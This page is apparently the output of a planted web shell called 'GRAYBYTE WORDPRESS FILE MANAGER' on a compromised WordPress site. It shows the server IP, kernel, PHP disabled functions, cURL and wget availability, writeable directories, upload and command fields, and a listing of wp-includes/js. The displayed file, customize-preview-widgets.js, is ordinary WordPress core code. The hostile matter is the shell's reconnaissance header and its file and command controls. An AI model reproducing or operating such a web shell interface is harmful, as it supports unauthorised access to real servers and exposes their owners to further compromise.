GRAYBYTE WORDPRESS FILE MANAGER6978

Server IP : 149.255.58.128 / Your IP : 216.73.216.46
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/antalyamobilityscooter.com/wp-includes/js/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/antalyamobilityscooter.com/wp-includes/js//customize-preview-widgets.js
/**
 * @output wp-includes/js/customize-preview-widgets.js
 */

/* global _wpWidgetCustomizerPreviewSettings */

/**
 * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets.
 *
 * @since 4.5.0
 *
 * @namespace wp.customize.widgetsPreview
 *
 * @param {jQuery} $   The jQuery object.
 * @param {Object} _   The utilities library.
 * @param {Object} wp  Current WordPress environment instance.
 * @param {Object} api Information from the API.
 *
 * @return {Object} Widget-related variables.
 */
wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {

	var self;

	self = {
		renderedSidebars: {},
		renderedWidgets: {},
		registeredSidebars: [],
		registeredWidgets: {},
		widgetSelectors: [],
		preview: null,
		l10n: {
			widgetTooltip: ''
		},
		selectiveRefreshableWidgets: {}
	};

	/**
	 * Initializes the widgets preview.
	 *
	 * @since 4.5.0
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @return {void}
	 */
	self.init = function() {
		var self = this;

		self.preview = api.preview;
		if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
			self.addPartials();
		}

		self.buildWidgetSelectors();
		self.highlightControls();

		self.preview.bind( 'highlight-widget', self.highlightWidget );

		api.preview.bind( 'active', function() {
			self.highlightControls();
		} );

		/*
		 * Refresh a partial when the controls pane requests it. This is used currently just by the
		 * Gallery widget so that when an attachment's caption is updated in the media modal,
		 * the widget in the preview will then be refreshed to show the change. Normally doing this
		 * would not be necessary because all of the state should be contained inside the changeset,
		 * as everything done in the Customizer should not make a change to the site unless the
		 * changeset itself is published. Attachments are a current exception to this rule.
		 * For a proposal to include attachments in the customized state, see #37887.
		 */
		api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
			var partialId = 'widget[' + widgetId + ']';
			if ( api.selectiveRefresh.partial.has( partialId ) ) {
				api.selectiveRefresh.partial( partialId ).refresh();
			} else if ( self.renderedWidgets[ widgetId ] ) {
				api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
			}
		} );
	};

	self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{

		/**
		 * Represents a partial widget instance.
		 *
		 * @since 4.5.0
		 *
		 * @constructs
		 * @augments wp.customize.selectiveRefresh.Partial
		 *
		 * @alias wp.customize.widgetsPreview.WidgetPartial
		 * @memberOf wp.customize.widgetsPreview
		 *
		 * @param {string} id             The partial's ID.
		 * @param {Object} options        Options used to initialize the partial's
		 *                                instance.
		 * @param {Object} options.params The options parameters.
		 */
		initialize: function( id, options ) {
			var partial = this, matches;
			matches = id.match( /^widget\[(.+)]$/ );
			if ( ! matches ) {
				throw new Error( 'Illegal id for widget partial.' );
			}

			partial.widgetId = matches[1];
			partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
			options = options || {};
			options.params = _.extend(
				{
					settings: [ self.getWidgetSettingId( partial.widgetId ) ],
					containerInclusive: true
				},
				options.params || {}
			);

			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
		},

		/**
		 * Refreshes the widget partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {Promise|void} Either a promise postponing the refresh, or void.
		 */
		refresh: function() {
			var partial = this, refreshDeferred;
			if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
				refreshDeferred = $.Deferred();
				refreshDeferred.reject();
				partial.fallback();
				return refreshDeferred.promise();
			} else {
				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
			}
		},

		/**
		 * Sends the widget-updated message to the parent so the spinner will get
		 * removed from the widget control.
		 *
		 * @inheritDoc
		 * @param {wp.customize.selectiveRefresh.Placement} placement The placement
		 *                                                            function.
		 *
		 * @return {void}
		 */
		renderContent: function( placement ) {
			var partial = this;
			if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
				api.preview.send( 'widget-updated', partial.widgetId );
				api.selectiveRefresh.trigger( 'widget-updated', partial );
			}
		}
	});

	self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{

		/**
		 * Represents a partial widget area.
		 *
		 * @since 4.5.0
		 *
		 * @class
		 * @augments wp.customize.selectiveRefresh.Partial
		 *
		 * @memberOf wp.customize.widgetsPreview
		 * @alias wp.customize.widgetsPreview.SidebarPartial
		 *
		 * @param {string} id             The partial's ID.
		 * @param {Object} options        Options used to initialize the partial's instance.
		 * @param {Object} options.params The options parameters.
		 */
		initialize: function( id, options ) {
			var partial = this, matches;
			matches = id.match( /^sidebar\[(.+)]$/ );
			if ( ! matches ) {
				throw new Error( 'Illegal id for sidebar partial.' );
			}
			partial.sidebarId = matches[1];

			options = options || {};
			options.params = _.extend(
				{
					settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
				},
				options.params || {}
			);

			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );

			if ( ! partial.params.sidebarArgs ) {
				throw new Error( 'The sidebarArgs param was not provided.' );
			}
			if ( partial.params.settings.length > 1 ) {
				throw new Error( 'Expected SidebarPartial to only have one associated setting' );
			}
		},

		/**
		 * Sets up the partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {void}
		 */
		ready: function() {
			var sidebarPartial = this;

			// Watch for changes to the sidebar_widgets setting.
			_.each( sidebarPartial.settings(), function( settingId ) {
				api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
			} );

			// Trigger an event for this sidebar being updated whenever a widget inside is rendered.
			api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
				var isAssignedWidgetPartial = (
					placement.partial.extended( self.WidgetPartial ) &&
					( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
				);
				if ( isAssignedWidgetPartial ) {
					api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
				}
			} );

			// Make sure that a widget partial has a container in the DOM prior to a refresh.
			api.bind( 'change', function( widgetSetting ) {
				var widgetId, parsedId;
				parsedId = self.parseWidgetSettingId( widgetSetting.id );
				if ( ! parsedId ) {
					return;
				}
				widgetId = parsedId.idBase;
				if ( parsedId.number ) {
					widgetId += '-' + String( parsedId.number );
				}
				if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
					sidebarPartial.ensureWidgetPlacementContainers( widgetId );
				}
			} );
		},

		/**
		 * Gets the before/after boundary nodes for all instances of this sidebar
		 * (usually one).
		 *
		 * Note that TreeWalker is not implemented in IE8.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
		 *         An array with an object for each sidebar instance, containing the
		 *         node before and after the sidebar instance and its instance number.
		 */
		findDynamicSidebarBoundaryNodes: function() {
			var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
			regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
			recursiveCommentTraversal = function( childNodes ) {
				_.each( childNodes, function( node ) {
					var matches;
					if ( 8 === node.nodeType ) {
						matches = node.nodeValue.match( regExp );
						if ( ! matches || matches[2] !== partial.sidebarId ) {
							return;
						}
						if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
							boundaryNodes[ matches[3] ] = {
								before: null,
								after: null,
								instanceNumber: parseInt( matches[3], 10 )
							};
						}
						if ( 'dynamic_sidebar_before' === matches[1] ) {
							boundaryNodes[ matches[3] ].before = node;
						} else {
							boundaryNodes[ matches[3] ].after = node;
						}
					} else if ( 1 === node.nodeType ) {
						recursiveCommentTraversal( node.childNodes );
					}
				} );
			};

			recursiveCommentTraversal( document.body.childNodes );
			return _.values( boundaryNodes );
		},

		/**
		 * Gets the placements for this partial.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array} An array containing placement objects for each of the
		 *                 dynamic sidebar boundary nodes.
		 */
		placements: function() {
			var partial = this;
			return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
				return new api.selectiveRefresh.Placement( {
					partial: partial,
					container: null,
					startNode: boundaryNodes.before,
					endNode: boundaryNodes.after,
					context: {
						instanceNumber: boundaryNodes.instanceNumber
					}
				} );
			} );
		},

		/**
		 * Get the list of widget IDs associated with this widget area.
		 *
		 * @since 4.5.0
		 *
		 * @throws {Error} If there's no settingId.
		 * @throws {Error} If the setting doesn't exist in the API.
		 * @throws {Error} If the API doesn't pass an array of widget IDs.
		 *
		 * @return {Array} A shallow copy of the array containing widget IDs.
		 */
		getWidgetIds: function() {
			var sidebarPartial = this, settingId, widgetIds;
			settingId = sidebarPartial.settings()[0];
			if ( ! settingId ) {
				throw new Error( 'Missing associated setting.' );
			}
			if ( ! api.has( settingId ) ) {
				throw new Error( 'Setting does not exist.' );
			}
			widgetIds = api( settingId ).get();
			if ( ! _.isArray( widgetIds ) ) {
				throw new Error( 'Expected setting to be array of widget IDs' );
			}
			return widgetIds.slice( 0 );
		},

		/**
		 * Reflows widgets in the sidebar, ensuring they have the proper position in the
		 * DOM.
		 *
		 * @since 4.5.0
		 *
		 * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements
		 *                                                           that were reflowed.
		 */
		reflowWidgets: function() {
			var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = [];
			widgetIds = sidebarPartial.getWidgetIds();
			sidebarPlacements = sidebarPartial.placements();

			widgetPartials = {};
			_.each( widgetIds, function( widgetId ) {
				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' );
				if ( widgetPartial ) {
					widgetPartials[ widgetId ] = widgetPartial;
				}
			} );

			_.each( sidebarPlacements, function( sidebarPlacement ) {
				var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1;

				// Gather list of widget partial containers in this sidebar, and determine if a sort is needed.
				_.each( widgetPartials, function( widgetPartial ) {
					_.each( widgetPartial.placements(), function( widgetPlacement ) {

						if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) {
							thisPosition = widgetPlacement.container.index();
							sidebarWidgets.push( {
								partial: widgetPartial,
								placement: widgetPlacement,
								position: thisPosition
							} );
							if ( thisPosition < lastPosition ) {
								needsSort = true;
							}
							lastPosition = thisPosition;
						}
					} );
				} );

				if ( needsSort ) {
					_.each( sidebarWidgets, function( sidebarWidget ) {
						sidebarPlacement.endNode.parentNode.insertBefore(
							sidebarWidget.placement.container[0],
							sidebarPlacement.endNode
						);

						// @todo Rename partial-placement-moved?
						api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement );
					} );

					sortedSidebarContainers.push( sidebarPlacement );
				}
			} );

			if ( sortedSidebarContainers.length > 0 ) {
				api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
			}

			return sortedSidebarContainers;
		},

		/**
		 * Makes sure there is a widget instance container in this sidebar for the given
		 * widget ID.
		 *
		 * @since 4.5.0
		 *
		 * @param {string} widgetId The widget ID.
		 *
		 * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial.
		 */
		ensureWidgetPlacementContainers: function( widgetId ) {
			var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']';
			widgetPartial = api.selectiveRefresh.partial( partialId );
			if ( ! widgetPartial ) {
				widgetPartial = new self.WidgetPartial( partialId, {
					params: {}
				} );
			}

			// Make sure that there is a container element for the widget in the sidebar, if at least a placeholder.
			_.each( sidebarPartial.placements(), function( sidebarPlacement ) {
				var foundWidgetPlacement, widgetContainerElement;

				foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) {
					return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber );
				} );
				if ( foundWidgetPlacement ) {
					return;
				}

				widgetContainerElement = $(
					sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) +
					sidebarPartial.params.sidebarArgs.after_widget
				);

				// Handle rare case where before_widget and after_widget are empty.
				if ( ! widgetContainerElement[0] ) {
					return;
				}

				widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id );
				widgetContainerElement.attr( 'data-customize-partial-type', 'widget' );
				widgetContainerElement.attr( 'data-customize-widget-id', widgetId );

				/*
				 * Make sure the widget container element has the customize-container context data.
				 * The sidebar_instance_number is used to disambiguate multiple instances of the
				 * same sidebar are rendered onto the template, and so the same widget is embedded
				 * multiple times.
				 */
				widgetContainerElement.data( 'customize-partial-placement-context', {
					'sidebar_id': sidebarPartial.sidebarId,
					'sidebar_instance_number': sidebarPlacement.context.instanceNumber
				} );

				sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode );
				wasInserted = true;
			} );

			api.selectiveRefresh.partial.add( widgetPartial );

			if ( wasInserted ) {
				sidebarPartial.reflowWidgets();
			}

			return widgetPartial;
		},

		/**
		 * Handles changes to the sidebars_widgets[] setting.
		 *
		 * @since 4.5.0
		 *
		 * @param {Array} newWidgetIds New widget IDs.
		 * @param {Array} oldWidgetIds Old widget IDs.
		 *
		 * @return {void}
		 */
		handleSettingChange: function( newWidgetIds, oldWidgetIds ) {
			var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = [];

			needsRefresh = (
				( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) ||
				( newWidgetIds.length > 0 && 0 === oldWidgetIds.length )
			);
			if ( needsRefresh ) {
				sidebarPartial.fallback();
				return;
			}

			// Handle removal of widgets.
			widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds );
			_.each( widgetsRemoved, function( removedWidgetId ) {
				var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' );
				if ( widgetPartial ) {
					_.each( widgetPartial.placements(), function( placement ) {
						var isRemoved = (
							placement.context.sidebar_id === sidebarPartial.sidebarId ||
							( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId )
						);
						if ( isRemoved ) {
							placement.container.remove();
						}
					} );
				}
				delete self.renderedWidgets[ removedWidgetId ];
			} );

			// Handle insertion of widgets.
			widgetsAdded = _.difference( newWidgetIds, oldWidgetIds );
			_.each( widgetsAdded, function( addedWidgetId ) {
				var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId );
				addedWidgetPartials.push( widgetPartial );
				self.renderedWidgets[ addedWidgetId ] = true;
			} );

			_.each( addedWidgetPartials, function( widgetPartial ) {
				widgetPartial.refresh();
			} );

			api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
		},

		/**
		 * Refreshes the sidebar partial.
		 *
		 * Note that the meat is handled in handleSettingChange because it has the
		 * context of which widgets were removed.
		 *
		 * @since 4.5.0
		 *
		 * @return {Promise} A promise postponing the refresh.
		 */
		refresh: function() {
			var partial = this, deferred = $.Deferred();

			deferred.fail( function() {
				partial.fallback();
			} );

			if ( 0 === partial.placements().length ) {
				deferred.reject();
			} else {
				_.each( partial.reflowWidgets(), function( sidebarPlacement ) {
					api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement );
				} );
				deferred.resolve();
			}

			return deferred.promise();
		}
	});

	api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial;
	api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial;

	/**
	 * Adds partials for the registered widget areas (sidebars).
	 *
	 * @since 4.5.0
	 *
	 * @return {void}
	 */
	self.addPartials = function() {
		_.each( self.registeredSidebars, function( registeredSidebar ) {
			var partial, partialId = 'sidebar[' + registeredSidebar.id + ']';
			partial = api.selectiveRefresh.partial( partialId );
			if ( ! partial ) {
				partial = new self.SidebarPartial( partialId, {
					params: {
						sidebarArgs: registeredSidebar
					}
				} );
				api.selectiveRefresh.partial.add( partial );
			}
		} );
	};

	/**
	 * Calculates the selector for the sidebar's widgets based on the registered
	 * sidebar's info.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	self.buildWidgetSelectors = function() {
		var self = this;

		$.each( self.registeredSidebars, function( i, sidebar ) {
			var widgetTpl = [
					sidebar.before_widget,
					sidebar.before_title,
					sidebar.after_title,
					sidebar.after_widget
				].join( '' ),
				emptyWidget,
				widgetSelector,
				widgetClasses;

			emptyWidget = $( widgetTpl );
			widgetSelector = emptyWidget.prop( 'tagName' ) || '';
			widgetClasses = emptyWidget.prop( 'className' ) || '';

			// Prevent a rare case when before_widget, before_title, after_title and after_widget is empty.
			if ( ! widgetClasses ) {
				return;
			}

			// Remove class names that incorporate the string formatting placeholders %1$s and %2$s.
			widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' );
			widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' );
			if ( widgetClasses ) {
				widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' );
			}
			self.widgetSelectors.push( widgetSelector );
		});
	};

	/**
	 * Highlights the widget on widget updates or widget control mouse overs.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 * @param {string} widgetId ID of the widget.
	 *
	 * @return {void}
	 */
	self.highlightWidget = function( widgetId ) {
		var $body = $( document.body ),
			$widget = $( '#' + widgetId );

		$body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' );

		$widget.addClass( 'widget-customizer-highlighted-widget' );
		setTimeout( function() {
			$widget.removeClass( 'widget-customizer-highlighted-widget' );
		}, 500 );
	};

	/**
	 * Shows a title and highlights widgets on hover. On shift+clicking focuses the
	 * widget control.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 3.9.0
	 *
	 * @return {void}
	 */
	self.highlightControls = function() {
		var self = this,
			selector = this.widgetSelectors.join( ',' );

		// Skip adding highlights if not in the customizer preview iframe.
		if ( ! api.settings.channel ) {
			return;
		}

		$( selector ).attr( 'title', this.l10n.widgetTooltip );
		// Highlights widget when entering the widget editor.
		$( document ).on( 'mouseenter', selector, function() {
			self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) );
		});

		// Open expand the widget control when shift+clicking the widget element.
		$( document ).on( 'click', selector, function( e ) {
			if ( ! e.shiftKey ) {
				return;
			}
			e.preventDefault();

			self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) );
		});
	};

	/**
	 * Parses a widget ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} widgetId The widget ID.
	 *
	 * @return {{idBase: string, number: number|null}} An object containing the idBase
	 *                                                 and number of the parsed widget ID.
	 */
	self.parseWidgetId = function( widgetId ) {
		var matches, parsed = {
			idBase: '',
			number: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.idBase = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			parsed.idBase = widgetId; // Likely an old single widget.
		}

		return parsed;
	};

	/**
	 * Parses a widget setting ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} settingId Widget setting ID.
	 *
	 * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase
	 *                                                      and number of the parsed widget setting ID,
	 *                                                      or null.
	 */
	self.parseWidgetSettingId = function( settingId ) {
		var matches, parsed = {
			idBase: '',
			number: null
		};

		matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ );
		if ( ! matches ) {
			return null;
		}
		parsed.idBase = matches[1];
		if ( matches[2] ) {
			parsed.number = parseInt( matches[2], 10 );
		}
		return parsed;
	};

	/**
	 * Converts a widget ID into a Customizer setting ID.
	 *
	 * @memberOf wp.customize.widgetsPreview
	 *
	 * @since 4.5.0
	 *
	 * @param {string} widgetId The widget ID.
	 *
	 * @return {string} The setting ID.
	 */
	self.getWidgetSettingId = function( widgetId ) {
		var parsed = this.parseWidgetId( widgetId ), settingId;

		settingId = 'widget_' + parsed.idBase;
		if ( parsed.number ) {
			settingId += '[' + String( parsed.number ) + ']';
		}

		return settingId;
	};

	api.bind( 'preview-ready', function() {
		$.extend( self, _wpWidgetCustomizerPreviewSettings );
		self.init();
	});

	return self;
})( jQuery, _, wp, wp.customize );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2025 03:29:06
1032 / wheelch2
0755
codemirror
--
October 16 2024 01:01:17
1032 / wheelch2
0755
crop
--
October 16 2024 01:01:17
1032 / wheelch2
0755
dist
--
April 16 2025 03:36:53
1032 / wheelch2
0755
imgareaselect
--
October 16 2024 01:01:17
1032 / wheelch2
0755
jcrop
--
October 16 2024 01:01:17
1032 / wheelch2
0755
jquery
--
October 16 2024 01:01:17
1032 / wheelch2
0755
mediaelement
--
October 16 2024 01:01:17
1032 / wheelch2
0755
plupload
--
October 16 2024 01:01:17
1032 / wheelch2
0755
swfupload
--
October 16 2024 01:01:17
1032 / wheelch2
0755
thickbox
--
October 16 2024 01:01:17
1032 / wheelch2
0755
tinymce
--
October 16 2024 01:01:17
1032 / wheelch2
0755
.htaccess
0 KB
March 26 2025 13:44:20
1032 / wheelch2
0444
admin-bar.js
10.3 KB
July 16 2024 18:02:44
1032 / wheelch2
0644
admin-bar.min.js
3.405 KB
July 16 2024 18:02:44
1032 / wheelch2
0644
api-request.js
3.246 KB
December 01 2020 03:44:05
1032 / wheelch2
0644
api-request.min.js
0.999 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
autosave.js
21.949 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
autosave.min.js
5.671 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
backbone.js
78.506 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
backbone.min.js
23.731 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
clipboard.js
26.179 KB
October 04 2022 15:55:23
1032 / wheelch2
0644
clipboard.min.js
8.798 KB
October 04 2022 15:55:23
1032 / wheelch2
0644
colorpicker.js
28.401 KB
November 17 2012 15:11:29
1032 / wheelch2
0644
colorpicker.min.js
16.111 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
comment-reply.js
12.22 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
comment-reply.min.js
2.955 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
customize-base.js
25.217 KB
May 20 2023 10:19:23
1032 / wheelch2
0644
customize-base.min.js
7.668 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
customize-loader.js
7.718 KB
July 16 2024 18:02:44
1032 / wheelch2
0644
customize-loader.min.js
3.468 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
customize-models.js
6.661 KB
June 25 2020 12:43:07
1032 / wheelch2
0644
customize-models.min.js
3.595 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
customize-preview-nav-menus.js
14.672 KB
July 27 2020 23:35:02
1032 / wheelch2
0644
customize-preview-nav-menus.min.js
4.915 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
customize-preview-widgets.js
22.708 KB
June 20 2020 12:58:10
1032 / wheelch2
0644
customize-preview-widgets.min.js
7.637 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
customize-preview.js
27.305 KB
July 27 2020 23:35:02
1032 / wheelch2
0644
customize-preview.min.js
10.453 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
customize-selective-refresh.js
32.554 KB
July 16 2024 18:02:44
1032 / wheelch2
0644
customize-selective-refresh.min.js
10.442 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
customize-views.js
4.946 KB
June 28 2018 02:30:15
1032 / wheelch2
0644
customize-views.min.js
2.394 KB
January 06 2021 15:29:24
1032 / wheelch2
0644
heartbeat.js
23.488 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
heartbeat.min.js
5.808 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
hoverIntent.js
7.056 KB
January 03 2022 15:03:18
1032 / wheelch2
0644
hoverIntent.min.js
1.464 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
hoverintent-js.min.js
1.678 KB
December 10 2019 01:03:02
1032 / wheelch2
0644
imagesloaded.min.js
5.391 KB
November 08 2023 06:52:06
1032 / wheelch2
0644
json2.js
17.99 KB
October 06 2015 14:02:25
1032 / wheelch2
0644
json2.min.js
3.069 KB
September 23 2022 19:55:30
1032 / wheelch2
0644
masonry.min.js
23.572 KB
June 13 2020 18:53:27
1032 / wheelch2
0644
mce-view.js
25.243 KB
November 08 2023 06:52:06
1032 / wheelch2
0644
mce-view.min.js
9.541 KB
November 08 2023 06:52:06
1032 / wheelch2
0644
media-audiovideo.js
24.237 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-audiovideo.min.js
11.77 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-editor.js
28.437 KB
July 27 2020 23:35:02
1032 / wheelch2
0644
media-editor.min.js
10.63 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
media-grid.js
26.026 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-grid.min.js
12.947 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-models.js
42.582 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-models.min.js
12.973 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-views.js
266.915 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
media-views.min.js
108.117 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
quicktags.js
22.071 KB
September 08 2021 23:29:58
1032 / wheelch2
0644
quicktags.min.js
10.871 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
shortcode.js
10.506 KB
January 29 2020 00:45:18
1032 / wheelch2
0644
shortcode.min.js
2.581 KB
September 23 2022 19:55:30
1032 / wheelch2
0644
swfobject.js
9.991 KB
April 17 2012 23:09:29
1032 / wheelch2
0644
tw-sack.js
4.853 KB
August 23 2012 00:04:18
1032 / wheelch2
0644
tw-sack.min.js
3.211 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
twemoji.js
32.688 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
twemoji.min.js
15.942 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
underscore.js
67.124 KB
November 13 2024 04:42:28
1032 / wheelch2
0644
underscore.min.js
18.462 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
utils.js
4.556 KB
January 29 2020 00:45:18
1032 / wheelch2
0644
utils.min.js
1.82 KB
September 23 2022 19:55:30
1032 / wheelch2
0644
wp-ajax-response.js
3.812 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wp-ajax-response.min.js
2.511 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wp-api.js
45.882 KB
January 10 2023 09:30:13
1032 / wheelch2
0644
wp-api.min.js
14.338 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
wp-auth-check.js
4.108 KB
March 18 2021 19:01:03
1032 / wheelch2
0644
wp-auth-check.min.js
1.619 KB
March 18 2021 19:01:03
1032 / wheelch2
0644
wp-backbone.js
14.884 KB
July 16 2024 18:02:45
1032 / wheelch2
0644
wp-backbone.min.js
2.968 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
wp-custom-header.js
10.22 KB
April 10 2021 12:40:05
1032 / wheelch2
0644
wp-custom-header.min.js
4.338 KB
February 02 2023 16:36:32
1032 / wheelch2
0644
wp-embed-template.js
6.62 KB
November 11 2021 02:49:18
1032 / wheelch2
0644
wp-embed-template.min.js
3.1 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
wp-embed.js
3.139 KB
November 08 2023 06:52:06
1032 / wheelch2
0644
wp-embed.min.js
1.222 KB
November 08 2023 06:52:06
1032 / wheelch2
0644
wp-emoji-loader.js
12.212 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wp-emoji-loader.min.js
2.872 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wp-emoji-release.min.js
18.813 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wp-emoji.js
8.759 KB
February 02 2023 00:53:25
1032 / wheelch2
0644
wp-emoji.min.js
2.822 KB
February 02 2023 00:53:25
1032 / wheelch2
0644
wp-list-revisions.js
0.947 KB
June 28 2018 02:30:15
1032 / wheelch2
0644
wp-list-revisions.min.js
0.583 KB
January 06 2021 15:29:24
1032 / wheelch2
0644
wp-lists.js
24.722 KB
June 24 2023 14:32:20
1032 / wheelch2
0644
wp-lists.min.js
7.345 KB
June 24 2023 14:32:20
1032 / wheelch2
0644
wp-pointer.js
9.993 KB
February 16 2021 20:25:03
1032 / wheelch2
0644
wp-pointer.min.js
3.536 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
wp-sanitize.js
1.31 KB
April 16 2025 03:36:53
1032 / wheelch2
0644
wp-sanitize.min.js
0.447 KB
April 08 2022 20:07:18
1032 / wheelch2
0644
wp-util.js
4.569 KB
September 20 2022 03:52:10
1032 / wheelch2
0644
wp-util.min.js
1.393 KB
September 20 2022 03:52:10
